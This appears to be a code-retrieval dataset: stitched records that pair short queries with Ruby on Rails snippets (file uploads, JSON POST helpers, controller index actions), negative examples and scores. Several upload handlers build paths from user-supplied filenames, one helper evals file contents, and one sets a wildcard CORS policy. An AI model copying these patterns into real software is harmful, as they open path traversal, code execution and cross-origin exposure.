@db=Database.find(params[:id])\n @files = params[:files]\n @files.each do |file|\n name = file.original_filename\n directory = @db.path\n path = File.join(directory, name)\n File.open(path, \"wb\") { |f| f.write(file.read) }\n end\n flash[:notice] = \"File uploaded\"\n respond_to do |format|\n format.html {redirect_to files_database_url(@db)}\n format.json { render json: @files }\n end\n end", "def archivo_params\n params.require(:archivo).permit(:name)\n end", "def create\n hash = []\n params[:files].each do |i,file_io|\n path = File.join(Rails.root,'public','attach',file_io.original_filename)\n File.open(path, \"wb\") { |f| f.write(file_io.read)}\n attachment = Attachment.create do |attach|\n attach.name = file_io.original_filename\n attach.describe = params[:describe]\n end \n hash.push attachment\n end\n render json: hash\n end", "def put_docs(dir)\n try_operation do |log|\n success = true\n log << \"Loading documents in #{dir}\\n\"\n Dir.each_child(dir) do |f|\n log << \"\\t#{f}: \"\n filepath = File.join(dir, f)\n if f.end_with?(\".rb\") && File.exists?(filepath) && !File.directory?(filepath)\n # Read the file into a Ruby hash (incredibly unsafe, obviously) and convert to JSON\n hash = eval(IO.read(filepath))\n json = JSON.generate(hash)\n \n uri = URI::HTTP.build(\n host: DB_HOST,\n port: DB_PORT,\n path: DB_DBNAME\n )\n\n # Send the PUT request to create the corresponding document\n request = Net::HTTP::Post.new(uri)\n request['Content-Type'] = 'application/json'\n response = Net::HTTP.start(uri.hostname, uri.port, {}) do |http|\n http.request(request, json)\n end\n\n # Record the result.\n log << \"#{response.code} #{response.message}\\n\"\n if response.code.to_i < 200 || response.code.to_i > 299\n success = false\n end\n end\n end\n return success, log\n end\nend", "def cargaplantilla_params\n params.require(:cargaplantilla).permit(:titulo,:file)\n end", "def post_json(path, body)\n uri = build_uri(path)\n puts \"*** POST #{uri}\"\n puts JSON.pretty_generate(body)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n puts \"HTTP #{response.code}\"\n result = JSON.parse(response.body)\n puts result[:result]\n result\nend", "def upload_file(folder_id, file_url) \n\tputs \"Uploading file: \" + file_url + \" to folder: \" + folder_id\n\tfile = {\n\t\t:url => file_url, \n\t\t:name => \"Ruby_File.pdf\", \n\t\t:notes => \"This was uploaded using Ruby\", \n\t\t:copies => 1, \n\t\t:folderId => folder_id,\n\t\t# :flow => \"Flow ezName\" # The flow value is either the easy submit name of the flow or the _id property from get_flows()\n\t}\n\tdata = JSON.generate(file)\n\tresponse = request_post('/api/partner/file', data)\n\tputs response.body\nend", "def post_json(path, body)\n uri = build_uri(path)\n puts \"*** POST #{path}\"\n puts JSON.pretty_generate(body)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n puts \"HTTP #{response.code}\"\n result = JSON.parse(response.body)\n puts result[:result]\n result\nend", "def guarda nombre, data\n fname = \"#{$outDir}/#{nombre}.json\"\n puts \"Creando #{fname}\"\n FileUtils.mkdir_p File.dirname(fname)\n File.open(fname, 'w+') do |f|\n f << data.to_json\n end\nend", "def create\n @pqr = Pqr.new(pqr_params)\n \n #asignar a todos los pqr por defecto al director \n if @pqr.dependencium == nil\n @pqr.dependencium = Dependencium.find_by(descripcion: \"Director\")\n end\n\n @pqr.estado = false\n\n name = pqr_params[\"archivo\"].original_filename\n path = File.join(\"public\", \"archivos\", \"upload\", name)\n File.open(path, \"wb\") { |f| f.write( pqr_params[\"archivo\"].read ) }\n\n @pqr.archivo = \"archivos/upload/\"+name\n\n respond_to do |format|\n if @pqr.save\n \n format.html { redirect_to @pqr, notice: 'Pqr was successfully created.' }\n format.json { render :show, status: :created, location: @pqr }\n else\n format.html { render :new }\n format.json { render json: @pqr.errors, status: :unprocessable_entity }\n end\n end\n \n end", "def post(path, body = nil, options={})\n options[\"format\"] = \"json\"\n connection.post do |request|\n request.url URI.encode(path)\n request.params.merge! options\n request.body = body if body\n end\n end", "def upload_upload(directory:, files:)\n upload_files = {multipart: true}\n files.each {|f| upload_files[f] = File.open(f, 'rb')}\n r = aptly_request 'POST', \"api/files/#{directory}\", payload: upload_files\n JSON.parse(r.body)\n end", "def create\n items = []\n\n @upload = Upload.new(params[:upload])\n xml_fl = Hash.from_xml(params[:upload][\"upload\"].read).to_hash\n items = xml_fl[\"DATAPACKET\"][\"ROWDATA\"][\"ROW\"]\n\n respond_to do |format|\n if @upload.save\n #определяем тип содержимого файла по названию файла\n # _json = [@upload.to_jq_upload].to_json\n # \n\n # logger.debug { items }\n unless @upload.upload_file_name.match(/^\\d{5}/).nil?\n logger.debug { '----------------> Ok' }\n create_fackt_pricreplenie(items, @upload.upload_file_name)\n else\n if @upload.upload_file_name.start_with?(\"UPAKOVKA\")\n logger.debug {\"======> fack \"}\n update_numbers_of_polis(items)\n end\n end\n\n format.html {\n render :json => [@upload.to_jq_upload].to_json,\n :content_type => 'text/html',\n :layout => false\n }\n format.json { render json: [@upload.to_jq_upload].to_json, status: :created, location: @upload }\n else\n format.html { render action: \"new\" }\n format.json { render json: @upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def ficha_params\n params.require(:ficha).permit(:data, :Vendedor_id, :Banco_id, :tipopfin, :coef, :valfinanceiro, :numparcelas, :valorparcela, :valortotal, :Customer_id, :Cars_id, :MeioPagamento_id)\n end", "def create\n @documentotipo = Documentotipo.new(params[:documentotipo])\n\n respond_to do |format|\n if @documentotipo.save\n format.html { redirect_to @documentotipo, notice: 'Documentotipo was successfully created.' }\n format.json { render json: @documentotipo, status: :created, location: @documentotipo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @documentotipo.errors, status: :unprocessable_entity }\n end\n end\n end", "def entrar_arquivo\n end", "def post(path, options={}, &block)\n headers = options.delete :headers\n data = options.delete :data\n content_type = (headers && headers['Content-Type']) || content_type(data)\n\n request = Net::HTTP::Post.new path, headers\n\n # convert hash data to array data\n data = data.inject([]) do |memo, (key, value)|\n if value.is_a?(File)\n memo << [key.to_s, value, { content_type: Utils.mime_type(value.path) }]\n else\n memo << [key.to_s, value]\n end\n end\n\n request.set_form data, content_type\n\n @http.request request, &block\n end", "def prueba_json_params\n params[:prueba_json]\n end", "def post_job_content_sample(client)\n job_multipart = {\n :file => File.new($full_path),\n 'num copies' => 10\n }\n\n response = client['jobs'].post job_multipart\n\n p ''\n p 'Submit a new job'\n p response\nend", "def upload\n @mote = mote.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mote }\n end\n end", "def create\n @jargon_file = JargonFile.new(params[:jargon_file])\n\n respond_to do |format|\n if @jargon_file.save\n format.html { redirect_to @jargon_file, notice: 'Jargon file was successfully created.' }\n format.json { render json: @jargon_file, status: :created, location: @jargon_file }\n else\n format.html { render action: \"new\" }\n format.json { render json: @jargon_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def pieza_fichatecnica_params\n params.require(:pieza_fichatecnica).permit(:pieza_id, :fichatecnica_id, :cantidad, :observaciones)\n end", "def post(path, **args); end", "def destroy\n @arquivo = Arquivo.find(params[:id])\n @arquivo.destroy\n\n respond_to do |format|\n format.html { redirect_to arquivos_url }\n format.json { head :no_content }\n end\n end", "def documento_params\n params.require(:documento).permit(:file)\n end", "def create\n files = params[:files]\n\n files.each do |file|\n\n filename = file.original_filename\n\n # Rack uploads have `#tempfiles` and test uploads are Tempfile objects. More\n # investigation required.\n file = file.tempfile if file.respond_to?(:tempfile)\n\n UploadStore.create(\n :key => filename,\n :body => file,\n :public => true\n )\n end\n\n render json: {status: 'success'}\n end", "def create\n @ficha = Ficha.new(params[:ficha])\n respond_to do |format|\n if @ficha.save\n if(params[:commit] == \"Criar e continuar\")\n format.html { redirect_to new_ficha_url, notice: 'Ficha criada com sucesso.' }\n else\n format.html { redirect_to @ficha, notice: 'Ficha criada com sucesso.' }\n end\n format.json { render json: @ficha, status: :created, location: @ficha }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ficha.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @laboratorio = Laboratorio.new(laboratorio_params)\n get_responsavel\n puts \"O responsavel é: #{@laboratorio.responsavel_id}\"\n if (@responsavel != \"sem_responsavel\")\n @laboratorio.docentes << Docente.find(@laboratorio.responsavel_id)\n puts \"Add relação entre #{@laboratorio.nome} e #{Docente.find(@laboratorio.responsavel_id).user.nome}\"\n end\n respond_to do |format|\n if @laboratorio.save\n format.html { redirect_to @laboratorio, notice: 'Laboratorio was successfully created.' }\n format.json { render :show, status: :created, location: @laboratorio }\n else\n format.html { render :new }\n format.json { render json: @laboratorio.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload\n \tset_up_instances_variable\n \tuploaded_io = @tree.file\n \t@nome_arquivo = Rails.root.join('public', 'uploads', uploaded_io.original_filename)\n \tFile.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'wb') do |file|\n \t\tfile.write(uploaded_io.read)\n \tend\n \tler_texto @nome_arquivo\n end", "def create\n @detalle_documento_de_compra = DetalleDocumentoDeCompra.new(detalle_documento_de_compra_params)\n\n respond_to do |format|\n if @detalle_documento_de_compra.save\n format.html { redirect_to @detalle_documento_de_compra, notice: 'Detalle documento de compra was successfully created.' }\n format.json { render :show, status: :created, location: @detalle_documento_de_compra }\n else\n format.html { render :new }\n format.json { render json: @detalle_documento_de_compra.errors, status: :unprocessable_entity }\n end\n end\n end", "def ficha_params\n params.require(:ficha).permit(:nombre, :fecha_nacimiento, :domicilio, :comuna, :correo, :fono, :estado_civil, :cargas_familiares, :cargo, :escala, :grupo_trabajo, :email_corporativo, :fecha_ingreso, :socio_id)\n end", "def create\n @reparticao = Reparticao.new(reparticao_params)\n\n respond_to do |format|\n if @reparticao.save\n format.html { redirect_to @reparticao, notice: 'Reparticao was successfully created.' }\n format.json { render :show, status: :created, location: @reparticao }\n else\n format.html { render :new }\n format.json { render json: @reparticao.errors, status: :unprocessable_entity }\n end\n end\n end", "def create \n Documento.transaction do \n @cliente = Usuario.find_by_cpf(params[:usuario][:cpf]) \n @documento = Documento.new(params[:documento]) \n @documento.usuario = current_usuario\n @documento.cliente = @cliente\n @documento.cartorio_id = current_usuario.entidade_id\n\n @documento.save \n\n params[:metadados].each do |k,v|\n @documento.valor_campo_documentos.create(:campo_documento_id => k, :valor => v)\n end \n end\n respond_to do |format|\n if !@documento.new_record?\n flash[:notice] = 'Documento was successfully created.'\n format.html { redirect_to(@documento) }\n format.xml { render :xml => @documento, :status => :created, :location => @documento }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @documento.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @example = Example.new(example_params)\n @example.my_file = params[:file]\n\n respond_to do |format|\n #Verifica se existe pasta criada\n if @example.folder_id.nil?\n format.html { redirect_to root_url, alert: 'Cadastre uma pasta antes de inserir um arquivo.' }\n else\n if @example.save\n format.html { redirect_to @example, notice: 'Operação realizada com sucesso.' }\n format.json { render :show, status: :created, location: @example }\n else\n format.html { render :new }\n format.json { render json: @example.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def base_file_create\n course = notey_notey_params['course']\n file = notey_notey_params['file']\n data = notey_notey_params['data']\n\n uri = \"/notebooks/#{course}_#{file}\"\n File.open(uri, 'wb') do |f|\n f.write(data)\n end\n render json: { result: true }\n end", "def create\n @file_example = FileExample.new(file_example_params)\n\n respond_to do |format|\n if @file_example.save\n format.html { redirect_to @file_example, notice: 'File example was successfully created.' }\n format.json { render :show, status: :created, location: @file_example }\n else\n format.html { render :new }\n format.json { render json: @file_example.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @documento = Documento.new(documento_params)\n\n respond_to do |format|\n if @documento.save\n importa_dados\n format.html { redirect_to dados_path, notice: 'Documento foi importado com sucesso.' }\n format.json { render :show, status: :created, location: @documento }\n else\n format.html { render :new }\n format.json { render json: @documento.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ficha = Ficha.new(ficha_params)\n\n respond_to do |format|\n if @ficha.save\n format.html { redirect_to @ficha, notice: 'Ficha was successfully created.' }\n format.json { render :show, status: :created, location: @ficha }\n else\n format.html { render :new }\n format.json { render json: @ficha.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ficha = Ficha.new(ficha_params)\n\n respond_to do |format|\n if @ficha.save\n format.html { redirect_to @ficha, notice: 'Ficha was successfully created.' }\n format.json { render :show, status: :created, location: @ficha }\n else\n format.html { render :new }\n format.json { render json: @ficha.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tipo_documento = TipoDocumento.new(params[:tipo_documento])\n\n respond_to do |format|\n if @tipo_documento.save\n format.html { redirect_to @tipo_documento, notice: 'Tipo documento was successfully created.' }\n format.json { render json: @tipo_documento, status: :created, location: @tipo_documento }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tipo_documento.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @documents.map{|document| document.to_jq_upload } }\n \n end\n end", "def renomear_params\n params.require(:renomear).permit(:tipo, :assunto, :data, :cprod, :sem_cprod, :mais_de_um_processo, :arquivo)\n end", "def post(path, doc = nil, options = {}, &block)\n execute('POST', path, options, doc, &block)\n end", "def pregoestitulosgrafico_params\n params.require(:pregoestitulosgrafico).permit(:pregoestitulo_id, :arquivo_id, :tempografico_id)\n end", "def post(path, data = {}, params = {})\n body = data.to_json\n path = File.join(@prefix, path)\n\n response = @conn.post(path, body) do |req|\n req.params = params\n req.headers['Content-Type'] = 'application/json'\n end\n\n JSON.parse response.body\n end", "def download\n page = params[:page].to_i\n\n a = download_conjugation(page)\n @verbs_conj.each do |verb|\n v = Verb.new(:infinitive => verb[:infinitive], :translation => verb[:translation], :group => verb[:group])\n if v.save\n @tenses.each_with_index do |tense, index|\n @forms.each_with_index do |form, index2|\n if(verb[tense][form].strip != '')\n @form = Form.new(:content => verb[tense][form], :temp => index.to_i, :person => index2.to_i,:verb => v)\n @form.save\n end\n end\n end\n end\n end\n File.open(\"public/temp_#{page}.json\",\"w\") do |f|\n f.write(JSON.pretty_generate(@verbs_conj))\n end\n\n @verbs = Verb.all\n respond_to do |format|\n format.html{ render action: 'index'}\n format.json { head :no_content }\n end\n\n end", "def create\n data =params[:data]\n\n resource = ActiveSupport::JSON.decode(data)\n @repo = Repository.find(resource[\"repo_id\"])\n dir_path = resource[\"dirPath\"];\n post = DataFile.save(params['file'], @repo.path+dir_path)\n\n\t\t@git = GitHelper.init(@repo.path, current_user.email, current_user.name)\n\t\tGitHelper.commitAll(@git, resource[\"comment\"])\n\n\t\trender json: {success: \"file uploaded\"}\n end", "def ficha_params\n params.require(:ficha).permit(:medicamentoControlado, :medicamentoControladoDescricao, :alergiaMedicamento, :alergiaMedicamentoDescricao, :medicamentoDorFebre, :alergiaInsetos, :alergiaInsetosDescricao, :alergiaInsetosMedicamentos, :nauseasVomitos, :nauseasVomitosDescricao, :alergiaAlimentos, :alergiaAlimentosDescricao, :vacinas, :vacinasDescricao, :convenio, :convenioNome, :convenioNumero, :convenioHospitais, :autorizaHospital, :modificacaoSaude, :modificacaoSaudeDescricao, :tratamento, :tratamentoDescricao, :alteracaoSaude, :alteracaoSaudeDescricao, :diabetico, :usoSoroCaseiro, :alergiaBandaidEsparadrapo, :bandaidEsparadrapo, :autorizaBanho, :historicoDoencasContagiosas, :historicoDoencasContagiosasDescricao, :medicamentosAutorizados, :observacoes)\n end", "def json_post\n @content_type = 'text/plain'\n @render_nothing = true\n @rendered_template = true\n @current_layout = nil\n puts \"json_post: submitting #{params[:path]}\" if @@debug\n path = params[:path]\n if path\n puts \"json_post: path is #{path} l=#{path.length}\" if @@debug\n path = path.split('/').compact()\n path.delete('')\n # you cannot make rooted nodes via json atm... fix? xxx\n if path.length > 1\n name = path.pop\n nodes = Note.make_path @user,path\n puts \"json_post: making at path #{path.join('/')}\" if @@debug\n if nodes\n note = nodes.last.make_child @user,params,name\n puts \"json_post: made child #{note} from #{name} l=#{name.length}\"\n params[:path] = path.join('/') # for call to json_query\n # it is important to do a query rather than returning the note; to get freshest order\n json_query\n return\n #write_json note if note\n end\n end\n end\n render :nothing => true\n end", "def documentos_simposio_params\n params.require(:documentos_simposio).permit(:arquivo, :simposio_id)\n end", "def create\n @documentos_simposio = DocumentosSimposio.new(documentos_simposio_params)\n\n respond_to do |format|\n if @documentos_simposio.save\n format.html { redirect_to @documentos_simposio, notice: 'Documentos simposio was successfully created.' }\n format.json { render :show, status: :created, location: @documentos_simposio }\n else\n format.html { render :new }\n format.json { render json: @documentos_simposio.errors, status: :unprocessable_entity }\n end\n end\n end", "def user_file_create\n course = notey_notey_params['course']\n file = notey_notey_params['file']\n username = notey_notey_params['username']\n\n uri = \"/notebooks/#{username}_#{course}_#{file}\"\n base_file = \"/notebooks/#{course}_#{file}\"\n\n if File.exist?(base_file)\n File.open(base_file, 'rb') do |input|\n File.open(uri, 'wb') do |output|\n while (buff = input.read(4096))\n output.write(buff)\n end\n end\n end\n else\n render json: { result: false }\n end\n render json: { result: true }\n end", "def create\n @respuesta = Respuesta.new(params[:respuesta])\n\n if @respuesta.save\n render json: @respuesta, status: :created, location: @respuesta\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end", "def ficheiro_params\n params.require(:ficheiro).permit(:name, :folder_id, :subject_id, :file)\n end", "def archivo_proyecto_params\n params.require(:archivo_proyecto).permit(:archivo_id, :proyecto_id)\n end", "def create\n @document = Document.new()\n @document.process params[:document][:file]\n \n respond_to do |format|\n if @document.save\n format.html { redirect_to :action => :index , notice: 'Document was successfully created.' }\n format.json { render json: @document, status: :created, location: @document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload\n secure_silence_logs do\n return bad_request unless params[:file] && params[:title] && current_account\n is_file = params[:file].respond_to?(:path)\n if !is_file && !(URI.parse(params[:file]) rescue nil)\n return bad_request(:error => \"The 'file' parameter must be the contents of a file or a URL.\")\n end\n \n if params[:file_hash] && Document.accessible(current_account, current_organization).exists?(:file_hash=>params[:file_hash])\n return conflict(:error => \"This file is a duplicate of an existing one you have access to.\")\n end\n params[:url] = params[:file] unless is_file\n @response = Document.upload(params, current_account, current_organization).canonical\n render_cross_origin_json\n end\n end", "def criar_sobrevivente\n @suvivor = Sobrevivente.create(\n name: params[:name], genero: params[:genero], idade: params[:idade],\n lat: params[:lat], lon: params[:lon],\n agua: params[:agua], comida: params[:comida], medicamento: params[:medicamento],\n municao: params[:municao]\n )\n render json: @suvivor\n end", "def post_file_and_give_me_a_json(additional_path, file_path)\n if self.service_base_path != nil\n message = \"{error: \\\"File not found.\\\"}\"\n File.open(file_path) do |file|\n body = { 'arquivo' => file }\n message = self.http_client.post \"#{self.base_url}#{self.service_base_path}/#{additional_path}.json?api_key=#{self.access_token}\", body\n end\n trata_erro(message.content)\n end\n end", "def estrutura_params\n params.require(:estrutura).permit(:link, :titulo, :texto,:photo)\n end" ]
[ "0.5651235", "0.5525996", "0.5512189", "0.5442466", "0.5433059", "0.5421903", "0.54095733", "0.53799355", "0.5345019", "0.5325539", "0.52604806", "0.52536565", "0.5248293", "0.5242015", "0.5215727", "0.5122442", "0.51117253", "0.50751", "0.50690436", "0.5064506", "0.5064296", "0.50588614", "0.5048047", "0.50416833", "0.499676", "0.4995522", "0.4994369", "0.4962584", "0.4952904", "0.49417266", "0.49333194", "0.49321067", "0.4920262", "0.49171126", "0.49151337", "0.49129465", "0.49113914", "0.49008384", "0.48922864", "0.48908836", "0.48763824", "0.48752725", "0.48748744", "0.4869498", "0.48676226", "0.48664337", "0.4861949", "0.48581177", "0.48578638", "0.48506218", "0.48472872", "0.48439005", "0.48394492", "0.48366165", "0.48353523", "0.48341078", "0.4832534", "0.4824789", "0.48198453", "0.481651", "0.48134783", "0.48131648", "0.48105985", "0.48099428", "0.48028427", "0.4801811", "0.48002583", "0.4799348", "0.47927243", "0.4788758", "0.47846872", "0.47838897", "0.47811505", "0.47775054", "0.47599003", "0.47594494", "0.47590792", "0.47486743", "0.47486743", "0.47484455", "0.47434166", "0.47417971", "0.47383958", "0.47350544", "0.47311088", "0.47302395", "0.47299445", "0.4729004", "0.47275126", "0.47200572", "0.47177327", "0.47123098", "0.47048837", "0.4703529", "0.47021824", "0.47021645", "0.4699724", "0.46945965", "0.4693511", "0.46927926" ]
0.5138629
15
TODO: Move this to a view model
def rule_text "If #{trigger_value} #{'kid'.pluralize(trigger_value)}, price is $#{price.round}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def model\n self\n end", "def model\n @model\n end", "def model\n @model\n end", "def model\n @model\n end", "def model\n @model\n end", "def list\n @view.listing\n end", "def model\n end", "def model; end", "def model; end", "def model; end", "def model; end", "def model; end", "def model; end", "def model; end", "def model; end", "def model; end", "def model; end", "def model\n end", "def model\n end", "def model\n end", "def represented\n model\n end", "def _view; end", "def get()\n \n end", "def model\n return @model\n end", "def obj\n @model\n end", "def model\n return @model\n end", "def model\n return @model\n end", "def render_model\n model.render\n end", "def view; end", "def to_model\n self\n end", "def rendered; end", "def view()\n @view\n end", "def private; end", "def view\n @_view\n end", "def attributes\n end", "def show\n #not needed for our implementation\n end", "def overview\n\n end", "def item\n self.properties\n end", "def model\n self::Model\n end", "def view_attributes\n {}\n end", "def vieworder\n end", "def view_info\n super\n end", "def doctorView \n end", "def to_model\n self\n end", "def model\n self.class.model\n end", "def model\n self.class.model\n end", "def render\n # To be implemented.\n end", "def to_model\n self\n end", "def results_view\n end", "def collection; end", "def collection; end", "def properties\n model.properties\n end", "def get\n self\n end", "def to_model\n self\n end", "def to_model\n self\n end", "def to_model\n self\n end", "def model\n __getobj__\n end", "def render\n @question = Question.find(self.question_id)\n end", "def views\n @views\n end", "def to_model\n self\n end", "def to_model\n self\n end", "def view_flow; end", "def properties\n super\n end", "def show\n run List::Show\n render cell(List::Cell::Show, result['model']), layout: true\n end", "def model\n nil\n end", "def model\n nil\n end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def to_model\n self\n end", "def to_model\n self\n end", "def build\n view\n self\n end", "def initialize(list)\n super(list.first, :view, list)\n end", "def details; end", "def view_first\n return @vassals[0].view_first\n end", "def initialize\n super\n end", "def initialize\n super\n end", "def render\n end", "def attributes\n end", "def get\n object\n end", "def view\n items[@current, @collection.size]\n end", "def view_props\n {}\n end", "def model_class; end", "def list_items_preview\n end", "def show\n # No implementation needed\n end", "def show\n # No implementation needed\n end", "def editing ; view.editing ; end", "def update\n # TODO: implement update\n end", "def show\n raise NotImplementedError\n end", "def presenter\n self\n end", "def query\n super\n end", "def model\n self.public_send(self.class._attributes.first)\n end", "def view\n end" ]
[ "0.5940752", "0.59244764", "0.59244764", "0.59244764", "0.59244764", "0.5882347", "0.5875775", "0.58165586", "0.58165586", "0.58165586", "0.58165586", "0.58165586", "0.58165586", "0.58165586", "0.58165586", "0.58165586", "0.58165586", "0.5791741", "0.5791741", "0.5791741", "0.57786876", "0.57644683", "0.5711581", "0.56848234", "0.5675761", "0.56489325", "0.56489325", "0.55908126", "0.556095", "0.55257463", "0.55218554", "0.5519042", "0.55075425", "0.55030805", "0.55010724", "0.54697365", "0.5467932", "0.5450753", "0.5445692", "0.54308444", "0.5417415", "0.5408473", "0.539405", "0.53874767", "0.53742975", "0.53742975", "0.53511244", "0.5351051", "0.53438574", "0.53365195", "0.53365195", "0.53335714", "0.5330495", "0.5327874", "0.5327874", "0.5327874", "0.53235376", "0.53051615", "0.52743095", "0.52738965", "0.5273525", "0.52666026", "0.52638763", "0.52574813", "0.523297", "0.523297", "0.5232964", "0.5232964", "0.5232964", "0.5232964", "0.5232964", "0.5232964", "0.5232964", "0.5232964", "0.5232964", "0.5232964", "0.5232964", "0.5232356", "0.5232356", "0.5226302", "0.52253866", "0.52218443", "0.5202973", "0.5201834", "0.5201834", "0.51954484", "0.5188946", "0.51849014", "0.5180771", "0.5178863", "0.5174098", "0.51581585", "0.51538575", "0.51538575", "0.5146104", "0.5144653", "0.51428837", "0.51381975", "0.51295453", "0.5129528", "0.51283157" ]
0.0
-1
index is in Bookshow
def cors_allow_all headers['Access-Control-Allow-Origin'] = '*' headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS' headers['Access-Control-Request-Method'] = '*' headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @bookitems = Bookitem.all\n \n end", "def index\n @booktypes = Booktype.all\n end", "def index\n @bookitems = Bookitem.all\n end", "def index\n @book_items = BookItem.all\n end", "def index\n @book_items = BookItem.all\n end", "def index\n @abooks = Abook.all\n end", "def index\n @bookseries = Bookseries.all\n end", "def index\n @booksinlists = Booksinlist.all\n @booksinthelist = Book.joins(:booksinlists).where(booksinlists: {booklist_id: params[:id]})\n #@books = Book.find()\n end", "def index\n @book_searches = BookSearch.all\n end", "def index\n @book = Book.find(params[:book_id])\n end", "def index\n #@books = Book.all\n end", "def index\n @book_infos = BookInfo.all\n @book_details = BookDetail.all\n end", "def index\n @book_stores = BookStore.all\n end", "def index\n @book1s = Book1.all\n end", "def index\n # @infobooks = Infobook.all\n end", "def index\n @object_books = ObjectBook.all\n end", "def index\r\n @books = Book.all\r\n end", "def index\n @books = Book.all\n @submitted_books = Book.submitted\n @approved_books = Book.approved\n @deactivated_books = Book.deactivated\n @book=Book.first\n end", "def index\n @book_formats = BookFormat.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @books = Book.all\n end", "def index\n @bookstatuses = Bookstatus.all\n end", "def index\n @stuk_books = StukBook.available\n end", "def index\n @books= Book.all\n end", "def index\n @books = Book.get_avaible_books\n end", "def index\n @bookcabinets = Bookcabinet.all\n end", "def index ; @index ; end", "def index\n @store_books = StoreBook.all\n end", "def index\n @book_lends = BookLend.all\n end", "def index\n\n @books = Book.all\n\n end", "def index\n load_data\n @books = Book.all\n end", "def index\n @borrowed_books = BorrowedBook.all\n end", "def index\n @borrowed_books = BorrowedBook.all\n end", "def index\n @borrowed_books = BorrowedBook.all\n end", "def index \n @lookbooks = Lookbook.all #.for_admin\n end", "def index\n @author_books = AuthorBook.all\n end", "def index\n check_if_student\n @books = Book.all\n end", "def index\n # AR query to get all books, save into instance variable\n @books = Book.all\n end", "def index\n @book_progresses = BookProgress.all\n end", "def index\n @library_books = LibraryBook.all\n end", "def index\n @librarybooklists = Librarybooklist.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @book_statuses = BookStatus.all\n end", "def index?\n true\n end", "def index\n @book_authors = BookAuthor.all\n end", "def index\n @library_book_lists = LibraryBookList.all\n end", "def index\n @bookshops = Bookshop.all\n end", "def index\n @bookshops = Bookshop.all\n end", "def index; @index; end", "def index\n @my_books = MyBook.all\n end", "def has_index? index\n @index.include? index\n end", "def has_index? index\n @index.include? index\n end", "def index\n @bookshops = BookShop.all\n end", "def index\n @ebooks = Ebook.all\n end", "def index\n @book_locations = BookLocation.all\n end", "def index \n @book_shop = find_book_shop_params\n @books = @book_shop.books.all\n end", "def index?\n true\n end", "def index\n @cbooks = Cbook.all\n end", "def index\n @books = Book.all\n # debugger\n end", "def index\n @gbooks = Gbook.all\n end", "def include?(index)\n true\n end", "def index\n @book_recommendations = BookRecommendation.all\n end", "def index\n @articles = @book.articles\n end", "def index \n @filter = params[:filter] || \"order_by_title\"\n @books = Book.send(@filter) # Filter book index based on a filter param - default is order by title\n end", "def index\n @tablebookings = Tablebooking.all\n end" ]
